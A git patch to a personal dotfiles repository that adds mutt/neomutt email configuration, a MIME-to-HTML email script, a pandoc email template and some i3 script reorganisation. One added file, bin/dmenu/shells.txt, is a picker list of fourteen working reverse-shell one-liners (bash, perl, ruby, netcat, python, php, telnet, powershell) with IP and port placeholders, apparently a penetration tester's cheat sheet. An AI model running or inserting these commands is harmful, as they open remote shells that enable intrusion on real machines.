From 1dac5b8ee3dd22fd8fa34f4d94a77bcd5731c0e6 Mon Sep 17 00:00:00 2001 From: Jonathan Hodgson Date: Wed, 5 Jun 2019 17:58:43 +0100 Subject: [PATCH] Mostly mutt config and some tidying --- .gitignore | 2 + bin/{dropdowncalc => calc} | 0 bin/{createPDF => conversion/convert-to-pdf} | 2 - bin/convertbits | 11 - bin/dmenu/rofi-shutdown | 12 +- bin/dmenu/shells.txt | 14 + bin/emails/MIMEmbellish | 239 ++++++++ bin/emails/mutt | 9 + bin/emails/send-from-mutt | 4 + bin/{ => i3}/ddspawn | 0 bin/{ => i3}/dropdownnotepad | 0 bin/{ => i3}/i3autolayout | 0 bin/{ => i3}/i3exit | 0 bin/{showI3Help => showI3Help_} | 0 bin/volume | 14 + bin/whoami | 3 - bin/wordpress/get-site-database | 3 + mutt/mailcap | 1 + mutt/muttrc | 95 +++ pandoc/templates/email.html | 598 +++++++++++++++++++ pandoc/templates/template-letter.tex | 4 +- 21 files changed, 987 insertions(+), 24 deletions(-) rename bin/{dropdowncalc => calc} (100%) rename bin/{createPDF => conversion/convert-to-pdf} (75%) delete mode 100755 bin/convertbits create mode 100644 bin/dmenu/shells.txt create mode 100755 bin/emails/MIMEmbellish create mode 100755 bin/emails/mutt create mode 100755 bin/emails/send-from-mutt rename bin/{ => i3}/ddspawn (100%) rename bin/{ => i3}/dropdownnotepad (100%) rename bin/{ => i3}/i3autolayout (100%) rename bin/{ => i3}/i3exit (100%) rename bin/{showI3Help => showI3Help_} (100%) create mode 100755 bin/volume delete mode 100755 bin/whoami create mode 100644 mutt/mailcap create mode 100644 mutt/muttrc create mode 100644 pandoc/templates/email.html diff --git a/.gitignore b/.gitignore index 18d5afed..fce3248d 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,5 @@ qutebrowser/qsettings/ qutebrowser/bookmarks/ pandoc/templates/assets/fonts/ bin/aquarius-go +mutt/msmtprc +mutt/accounts/* diff --git a/bin/dropdowncalc b/bin/calc similarity index 100% rename from bin/dropdowncalc rename to bin/calc diff --git a/bin/createPDF b/bin/conversion/convert-to-pdf similarity index 75% rename from bin/createPDF rename to bin/conversion/convert-to-pdf index 9f812307..235cffb4 100755 --- a/bin/createPDF +++ b/bin/conversion/convert-to-pdf @@ -9,5 +9,3 @@ cd "$dir" || exit case "$file" in *\.doc|*\.docx) libreoffice --convert-to pdf "$file" ;; *) echo "Don't know how to convert $file" - -libreoffice --convert-to pdf Checkit\ website\ development\ brief.docx diff --git a/bin/convertbits b/bin/convertbits deleted file mode 100755 index 60857f05..00000000 --- a/bin/convertbits +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/env node - -import convertBytesToHumanReadable from 'human-readable-bytes'; - - - -process.args.forEach( (val, index) => { - if( index == process.args.length - 1 ){ - console.log( val ); - } -}); diff --git a/bin/dmenu/rofi-shutdown b/bin/dmenu/rofi-shutdown index f79d71ec..041b56d5 100755 --- a/bin/dmenu/rofi-shutdown +++ b/bin/dmenu/rofi-shutdown @@ -8,21 +8,21 @@ sleep .2 case $selection in Lock) - ~/.config/i3/i3exit lock + i3exit lock ;; Logout) - ~/.config/i3/i3exit logout + i3exit logout ;; Suspend) - ~/.config/i3/i3exit suspend + i3exit suspend ;; Hibernate) - ~/.config/i3/i3exit hibernate + i3exit hibernate ;; Reboot) - ~/.config/i3/i3exit reboot + i3exit reboot ;; Shutdown) - ~/.config/i3/i3exit shutdown + i3exit shutdown ;; esac diff --git a/bin/dmenu/shells.txt b/bin/dmenu/shells.txt new file mode 100644 index 00000000..c297f118 --- /dev/null +++ b/bin/dmenu/shells.txt @@ -0,0 +1,14 @@ +BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1 +BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196 +PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' +PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' +RUBY REVERSE SHELL|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' +RUBY REVERSE SHELL|ruby -rsocket -e'f=TCPSocket.open("[IPADDR]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +RUBY REVERSE SHELL WINDOWS|ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' +NETCAT REVERSE SHELL|nc -c /bin/sh [IPADDR] [PORT] +NETCAT REVERSE SHELL|/bin/sh | nc [IPADDR] [PORT] +NETCAT REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p +PYTHON REVERSE SHELL|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IPADDR]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +PHP REVERSE SHELL|php -r '$sock=fsockopen("[IPADDR]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");' +TELNET REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p +POWERSHELL REVERSE SHELL|powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() diff --git a/bin/emails/MIMEmbellish b/bin/emails/MIMEmbellish new file mode 100755 index 00000000..74073e12 --- /dev/null +++ b/bin/emails/MIMEmbellish @@ -0,0 +1,239 @@ +#!/usr/bin/env python3 +# Original Source: https://github.com/oblitum/dotfiles/blob/ArchLinux/.local/bin/MIMEmbellish + +import re +import sys +import email +import shlex +import mimetypes +import subprocess +from copy import copy +from hashlib import md5 +from email import charset +from email import encoders +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from email.mime.nonmultipart import MIMENonMultipart +from os.path import basename, splitext, expanduser + + +charset.add_charset('utf-8', charset.SHORTEST, '8bit') + + +def pandoc(from_format, to_format='markdown', plain='markdown', title=None): + markdown = ('markdown' + '-blank_before_blockquote') + + if from_format == 'plain': + from_format = plain + if from_format == 'markdown': + from_format = markdown + if to_format == 'markdown': + to_format = markdown + + command = 'pandoc -f {} -t {} --standalone --highlight-style=tango' + if to_format in ('html', 'html5'): + if title is not None: + command += ' --variable=pagetitle:{}'.format(shlex.quote(title)) + command += ' --webtex --template={}'.format( + expanduser('~/.pandoc/templates/email.html')) + return command.format(from_format, to_format) + + +def gmailfy(payload): + return payload.replace('
', + '
') + + +def make_alternative(message, part): + alternative = convert(part, 'html', + pandoc(part.get_content_subtype(), + to_format='html', + title=message.get('Subject'))) + alternative.set_payload(gmailfy(alternative.get_payload())) + return alternative + + +def make_replacement(message, part): + return convert(part, 'plain', pandoc(part.get_content_subtype())) + + +def convert(part, to_subtype, command): + payload = part.get_payload() + if isinstance(payload, str): + payload = payload.encode('utf-8') + else: + payload = part.get_payload(None, True) + if not isinstance(payload, bytes): + payload = payload.encode('utf-8') + process = subprocess.run( + shlex.split(command), + input=payload, stdout=subprocess.PIPE, check=True) + return MIMEText(process.stdout, to_subtype, 'utf-8') + + +def with_alternative(parent, part, from_signed, + make_alternative=make_alternative, + make_replacement=None): + try: + alternative = make_alternative(parent or part, from_signed or part) + replacement = (make_replacement(parent or part, part) + if from_signed is None and make_replacement is not None + else part) + except: + return parent or part + envelope = MIMEMultipart('alternative') + if parent is None: + for k, v in part.items(): + if (k.lower() != 'mime-version' + and not k.lower().startswith('content-')): + envelope.add_header(k, v) + del part[k] + envelope.attach(replacement) + envelope.attach(alternative) + if parent is None: + return envelope + payload = parent.get_payload() + payload[payload.index(part)] = envelope + return parent + + +def tag_attachments(message): + if message.get_content_type() == 'multipart/mixed': + for part in message.get_payload(): + if (part.get_content_maintype() in ['image'] + and 'Content-ID' not in part): + filename = part.get_param('filename', + header='Content-Disposition') + if isinstance(filename, tuple): + filename = str(filename[2], filename[0] or 'us-ascii') + if filename: + filename = splitext(basename(filename))[0] + if filename: + part.add_header('Content-ID', '<{}>'.format(filename)) + return message + + +def attachment_from_file_path(attachment_path): + try: + mime, encoding = mimetypes.guess_type(attachment_path, strict=False) + maintype, subtype = mime.split('/') + with open(attachment_path, 'rb') as payload: + attachment = MIMENonMultipart(maintype, subtype) + attachment.set_payload(payload.read()) + encoders.encode_base64(attachment) + if encoding: + attachment.add_header('Content-Encoding', encoding) + return attachment + except: + return None + + +attachment_path_pattern = re.compile(r'\]\s*\(\s*file://(/[^)]*\S)\s*\)|' + r'\]\s*:\s*file://(/.*\S)\s*$', + re.MULTILINE) + + +def link_attachments(payload): + attached = [] + attachments = [] + + def on_match(match): + if match.group(1): + attachment_path = match.group(1) + cid_fmt = '](cid:{})' + else: + attachment_path = match.group(2) + cid_fmt = ']: cid:{}' + attachment_id = md5(attachment_path.encode()).hexdigest() + if attachment_id in attached: + return cid_fmt.format(attachment_id) + attachment = attachment_from_file_path(attachment_path) + if attachment: + attachment.add_header('Content-ID', '<{}>'.format(attachment_id)) + attachments.append(attachment) + attached.append(attachment_id) + return cid_fmt.format(attachment_id) + return match.group() + + return attachments, attachment_path_pattern.sub(on_match, payload) + + +def with_local_attachments(parent, part, from_signed, + link_attachments=link_attachments): + if from_signed is None: + attachments, payload = link_attachments(part.get_payload()) + part.set_payload(payload) + else: + attachments, payload = link_attachments(from_signed.get_payload()) + from_signed = copy(from_signed) + from_signed.set_payload(payload) + if not attachments: + return parent, part, from_signed + if parent is None: + parent = MIMEMultipart('mixed') + for k, v in part.items(): + if (k.lower() != 'mime-version' + and not k.lower().startswith('content-')): + parent.add_header(k, v) + del part[k] + parent.attach(part) + for attachment in attachments: + parent.attach(attachment) + return parent, part, from_signed + + +def is_target(part, target_subtypes): + return (part.get('Content-Disposition', 'inline') == 'inline' + and part.get_content_maintype() == 'text' + and part.get_content_subtype() in target_subtypes) + + +def pick_from_signed(part, target_subtypes): + for from_signed in part.get_payload(): + if is_target(from_signed, target_subtypes): + return from_signed + + +def seek_target(message, target_subtypes=['plain', 'markdown']): + if message.is_multipart(): + if message.get_content_type() == 'multipart/signed': + part = pick_from_signed(message, target_subtypes) + if part is not None: + return None, message, part + elif message.get_content_type() == 'multipart/mixed': + for part in message.get_payload(): + if part.is_multipart(): + if part.get_content_type() == 'multipart/signed': + from_signed = pick_from_signed(part, target_subtypes) + if from_signed is not None: + return message, part, from_signed + elif is_target(part, target_subtypes): + return message, part, None + else: + if is_target(message, target_subtypes): + return None, message, None + return None, None, None + + +def main(): + try: + message = email.message_from_file(sys.stdin) + parent, part, from_signed = seek_target(message) + if (parent, part, from_signed) == (None, None, None): + print(message) + return + tag_attachments(message) + print(with_alternative( + *with_local_attachments(parent, part, from_signed))) + except (BrokenPipeError, KeyboardInterrupt): + pass + + +if __name__ == '__main__': + main() diff --git a/bin/emails/mutt b/bin/emails/mutt new file mode 100755 index 00000000..c3dd798d --- /dev/null +++ b/bin/emails/mutt @@ -0,0 +1,9 @@ +#!/usr/bin/env sh + +#Start proton mail bridge if not running +if [ ! $(pgrep -f protonmail-br) ]; then + setsid protonmail-bridge --no-window & + sleep 5 +fi + +neomutt diff --git a/bin/emails/send-from-mutt b/bin/emails/send-from-mutt new file mode 100755 index 00000000..e80ff034 --- /dev/null +++ b/bin/emails/send-from-mutt @@ -0,0 +1,4 @@ +#!/bin/sh + +EMAIL=$(pass Email/protonmail | grep BridgeUsername | cut -d':' -f2) +~/.bin/emails/MIMEmbellish | msmtp --user "$EMAIL" "$@" diff --git a/bin/ddspawn b/bin/i3/ddspawn similarity index 100% rename from bin/ddspawn rename to bin/i3/ddspawn diff --git a/bin/dropdownnotepad b/bin/i3/dropdownnotepad similarity index 100% rename from bin/dropdownnotepad rename to bin/i3/dropdownnotepad diff --git a/bin/i3autolayout b/bin/i3/i3autolayout similarity index 100% rename from bin/i3autolayout rename to bin/i3/i3autolayout diff --git a/bin/i3exit b/bin/i3/i3exit similarity index 100% rename from bin/i3exit rename to bin/i3/i3exit diff --git a/bin/showI3Help b/bin/showI3Help_ similarity index 100% rename from bin/showI3Help rename to bin/showI3Help_ diff --git a/bin/volume b/bin/volume new file mode 100755 index 00000000..402f3766 --- /dev/null +++ b/bin/volume @@ -0,0 +1,14 @@ +#!/usr/bin/env sh + +# A simple script to adjust the volume +# Requires pulse and amixer + +case "$1" in + "up") + amixer -q -D default sset Master 5%+ unmute + ;; + "down") + amixer -q -D default sset Master 5%- unmute +esac + +command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | tr -d '[')" diff --git a/bin/whoami b/bin/whoami deleted file mode 100755 index 79bc6d22..00000000 --- a/bin/whoami +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -/usr/bin/whoami > /tmp/testing diff --git a/bin/wordpress/get-site-database b/bin/wordpress/get-site-database index b829ed66..3825e2c9 100755 --- a/bin/wordpress/get-site-database +++ b/bin/wordpress/get-site-database @@ -63,3 +63,6 @@ wp search-replace --all-tables --url="${localDomains[0]}" "$sshFolderPath" "$pub # Removes the db.dump that we created rm "$public_html"/db.dump + +#Makes sure everything in the uploads folder on the server is also on the local +rsync -ruh --progress "${sshKey}:${sshFolder}/wp-content/uploads/" "${public_html}/wp-content/uploads diff --git a/mutt/mailcap b/mutt/mailcap new file mode 100644 index 00000000..86035375 --- /dev/null +++ b/mutt/mailcap @@ -0,0 +1 @@ +text/html; w3m -I %{charset} -T text/html; copiousoutput; diff --git a/mutt/muttrc b/mutt/muttrc new file mode 100644 index 00000000..37e583fc --- /dev/null +++ b/mutt/muttrc @@ -0,0 +1,95 @@ +# vim: filetype=neomuttrc +source "~/.config/mutt/accounts/protonmail" + +set header_cache = ~/.cache/mutt + + +set sort = threads +set sort_aux = reverse-last-date-received +set date_format="%y/%m/%d %I:%M%p" +set forward_format = "Fwd: %s" # format of subject when forwarding +set forward_quote # include message in forwards +set include # include message in replies + +set editor = "vim +':set textwidth=0'" +set include = yes +set new_mail_command = "notify-send 'New Email'" +set sendmail = "/home/jonathan/.bin/emails/send-from-mutt" +set edit_headers=yes + + +set mailcap_path = "~/.config/mutt/mailcap" +auto_view text/html +auto_view application/pgp-encrypted +alternative_order text/plain text/enriched text/html + +macro attach 'V' "cat >~/.cache/mutt/mail.html && qutebrowser ~/.cache/mutt/mail.html && rm ~/.cache/mutt/mail.html" + +# Formatting + +# Default index colors: +color index yellow default '.*' +color index_author red default '.*' +color index_number blue default +color index_subject cyan default '.*' + +# New mail is boldened: +color index brightyellow black "~N" +color index_author brightred black "~N" +color index_subject brightcyan black "~N" + +# Other colors and aesthetic settings: +mono bold bold +mono underline underline +mono indicator reverse +mono error bold +color normal default default +color indicator brightblack white +color sidebar_highlight red default +color sidebar_divider brightblack black +color sidebar_flagged red black +color sidebar_new green black +color normal brightyellow default +color error red default +color tilde black default +color message cyan default +color markers red white +color attachment white default +color search brightmagenta default +color status brightyellow black +color hdrdefault brightgreen default +color quoted green default +color quoted1 blue default +color quoted2 cyan default +color quoted3 yellow default +color quoted4 red default +color quoted5 brightred default +color signature brightgreen default +color bold black default +color underline black default +color normal default default + +# Regex highlighting: +color header blue default ".*" +color header brightmagenta default "^(From)" +color header brightcyan default "^(Subject)" +color header brightwhite default "^(CC|BCC)" +color body brightred default "[\-\.+_a-zA-Z0-9]+@[\-\.a-zA-Z0-9]+" # Email addresses +color body brightblue default "(https?|ftp)://[\-\.,/%~_:?&=\#a-zA-Z0-9]+" # URL +color body green default "\`[^\`]*\`" # Green text between ` and ` +color body brightblue default "^# \.*" # Headings as bold blue +color body brightcyan default "^## \.*" # Subheadings as bold cyan +color body brightgreen default "^### \.*" # Subsubheadings as bold green +color body yellow default "^(\t| )*(-|\\*) \.*" # List items as yellow +color body brightcyan default "[;:][-o][)/(|]" # emoticons +color body brightcyan default "[;:][)(|]" # emoticons +color body brightcyan default "[ ][*][^*]*[*][ ]?" # more emoticon? +color body brightcyan default "[ ]?[*][^*]*[*][ ]" # more emoticon? +color body red default "(BAD signature)" +color body cyan default "(Good signature)" +color body brightblack default "^gpg: Good signature .*" +color body brightyellow default "^gpg: " +color body brightyellow red "^gpg: BAD signature from.*" +mono body bold "^gpg: Good signature" +mono body bold "^gpg: BAD signature from.*" +color body red default "([a-z][a-z0-9+-]*://(((([a-z0-9_.!~*'();:&=+$,-]|%[0-9a-f][0-9a-f])*@)?((([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?|[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)(:[0-9]+)?)|([a-z0-9_.!~*'()$,;:@&=+-]|%[0-9a-f][0-9a-f])+)(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?(#([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?|(www|ftp)\\.(([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?(:[0-9]+)?(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?(#([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?)[^].,:;!)? \t\r\n<>\"]" diff --git a/pandoc/templates/email.html b/pandoc/templates/email.html new file mode 100644 index 00000000..bec9d197 --- /dev/null +++ b/pandoc/templates/email.html @@ -0,0 +1,598 @@ + + + + + + + + +$for(author-meta)$ + +$endfor$ +$if(date-meta)$ + +$endif$ +$if(keywords)$ + +$endif$ + $if(title-prefix)$$title-prefix$ – $endif$$pagetitle$ + +$if(quotes)$ + +$endif$ +$if(highlighting-css)$ + +$endif$ +$for(css)$ + +$endfor$ +$if(math)$ + $math$ +$endif$ +$for(header-includes)$ + $header-includes$ +$endfor$ + + +$for(include-before)$ +$include-before$ +$endfor$ +$if(title)$ +
+

$title$

+$if(subtitle)$ +

$subtitle$

+$endif$ +$for(author)$ +

$author$

+$endfor$ +$if(date)$ +

$date$

+$endif$ +
+$endif$ +$if(toc)$ +
+$toc$ +
+$endif$ +$body$ +$for(include-after)$ +$include-after$ +$endfor$ + + diff --git a/pandoc/templates/template-letter.tex b/pandoc/templates/template-letter.tex index abb5f20d..3706f319 100644 --- a/pandoc/templates/template-letter.tex +++ b/pandoc/templates/template-letter.tex @@ -211,9 +211,9 @@ $else$ $endif$ $else$ $if(subject)$ -\newcommand{\email}{\href{mailto:jonathan@lunarweb.co.uk?subject=Re: $subject$}{jonathan@lunarweb.co.uk}} +\newcommand{\email}{\href{mailto:jonathan@jonathanh.co.uk?subject=Re: $subject$}{jonathan@jonathanh.co.uk}} $else$ -\newcommand{\email}{\href{mailto:jonathan@lunarweb.co.uk}{jonathan@lunarweb.co.uk}} +\newcommand{\email}{\href{mailto:jonathan@jonathanh.co.uk}{jonathan@jonathanh.co.uk}} $endif$ $endif$